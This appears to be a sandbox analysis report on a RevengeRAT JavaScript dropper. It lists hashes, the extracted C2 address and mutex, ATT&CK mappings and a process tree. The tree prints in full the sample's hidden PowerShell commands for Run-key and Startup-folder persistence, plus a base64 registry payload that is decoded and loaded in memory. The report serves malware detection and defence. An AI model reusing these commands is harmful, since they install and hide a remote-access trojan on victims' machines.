revengerat | d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd

General

Target

213124dados cancelar a reserva.js
Size

60KB
MD5

5508be73f4288131312fe9dcbe64322c
SHA1

f579ae533109afddd4d9e528c7c393035cd80e7a
SHA256

d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd
SHA512

0f22d6e8378164326cf1634061281e765b29e3b0bef2eb2f1c3fd30d84a1554233c8b1eb930b6df431e982c0ce46b22f451b491892bc2b1c0a1ae60a66e2356f
SSDEEP

768:qze48RhtXFS/81q/y1wGU8a1aIIEHU8aIIFTTV+i2jsm888esI8X88888gKV7+lA:qC48xhtaGcdIh8aIIxgFv

Score

10^/10

revengerat nyancatrevenge execution persistence trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

54.146.241.16:5222

Mutex

f9796de67e

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

2 2720 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

2720 powershell.exe
2420 powershell.exe
2168 powershell.exe
2336 powershell.exe

flow	pid	process
2	2720	powershell.exe

pid	process
2720	powershell.exe
2420	powershell.exe
2168	powershell.exe
2336	powershell.exe

Drops startup file 1 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\213124dados cancelar a reserva.js	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\213124dados cancelar a reserva.js"	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

powershell.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

2420 powershell.exe
2336 powershell.exe
2168 powershell.exe
2720 powershell.exe

pid	process
2420	powershell.exe
2336	powershell.exe
2168	powershell.exe
2720	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2420	powershell.exe
Token: SeDebugPrivilege	2336	powershell.exe
Token: SeDebugPrivilege	2168	powershell.exe
Token: SeDebugPrivilege	2720	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

wscript.exepowershell.exewscript.exe

description	pid	process	target process
PID 2192 wrote to memory of 2420	2192	wscript.exe	powershell.exe
PID 2192 wrote to memory of 2420	2192	wscript.exe	powershell.exe
PID 2192 wrote to memory of 2420	2192	wscript.exe	powershell.exe
PID 2420 wrote to memory of 2004	2420	powershell.exe	wscript.exe
PID 2420 wrote to memory of 2004	2420	powershell.exe	wscript.exe
PID 2420 wrote to memory of 2004	2420	powershell.exe	wscript.exe
PID 2004 wrote to memory of 2168	2004	wscript.exe	powershell.exe
PID 2004 wrote to memory of 2168	2004	wscript.exe	powershell.exe
PID 2004 wrote to memory of 2168	2004	wscript.exe	powershell.exe
PID 2004 wrote to memory of 2336	2004	wscript.exe	powershell.exe
PID 2004 wrote to memory of 2336	2004	wscript.exe	powershell.exe
PID 2004 wrote to memory of 2336	2004	wscript.exe	powershell.exe
PID 2004 wrote to memory of 2720	2004	wscript.exe	powershell.exe
PID 2004 wrote to memory of 2720	2004	wscript.exe	powershell.exe
PID 2004 wrote to memory of 2720	2004	wscript.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\213124dados cancelar a reserva.js"
1⤵
- Suspicious use of WriteProcessMemory
PID:2192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\213124dados cancelar a reserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\213124dados cancelar a reserva.js'));wscript 'C:\Users\Admin\AppData\Roaming\213124dados cancelar a reserva.js'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2420
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" "C:\Users\Admin\AppData\Roaming\213124dados cancelar a reserva.js"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\213124dados cancelar a reserva.js' -PropertyType String -Force;"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2168
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\213124dados cancelar a reserva.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\213124dados cancelar a reserva.js'))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2336
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\213124dados cancelar a reserva.js

Filesize
60KB

MD5
5508be73f4288131312fe9dcbe64322c

SHA1
f579ae533109afddd4d9e528c7c393035cd80e7a

SHA256
d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd

SHA512
0f22d6e8378164326cf1634061281e765b29e3b0bef2eb2f1c3fd30d84a1554233c8b1eb930b6df431e982c0ce46b22f451b491892bc2b1c0a1ae60a66e2356f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
49af3ffd45d75d4a5e965defc23c7f9e

SHA1
048004c07cb1391e78bbdf927629585b6766f823

SHA256
9e4e2a4a50b99e115ae50fc12433b6450ee8c40b9aa0cdc8fba757317404439d

SHA512
3e7bc486be3d65e0f2ee8fd5c48582c435304661650ed9b2f21928ad80902e6e9a429a573610521183458accc9dc8d08530c3f7c79c8a536c17f7dbaa640e7c9

Download Submit
memory/2420-10-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2420-4-0x000007FEF628E000-0x000007FEF628F000-memory.dmp

Filesize
4KB

Download
memory/2420-9-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2420-7-0x00000000020F0000-0x00000000020F8000-memory.dmp

Filesize
32KB

Download
memory/2420-5-0x000000001B590000-0x000000001B872000-memory.dmp

Filesize
2.9MB

Download
memory/2420-11-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2420-8-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2420-6-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2420-31-0x000007FEF628E000-0x000007FEF628F000-memory.dmp

Filesize
4KB

Download
memory/2420-32-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-30-0x0000000002980000-0x000000000298A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads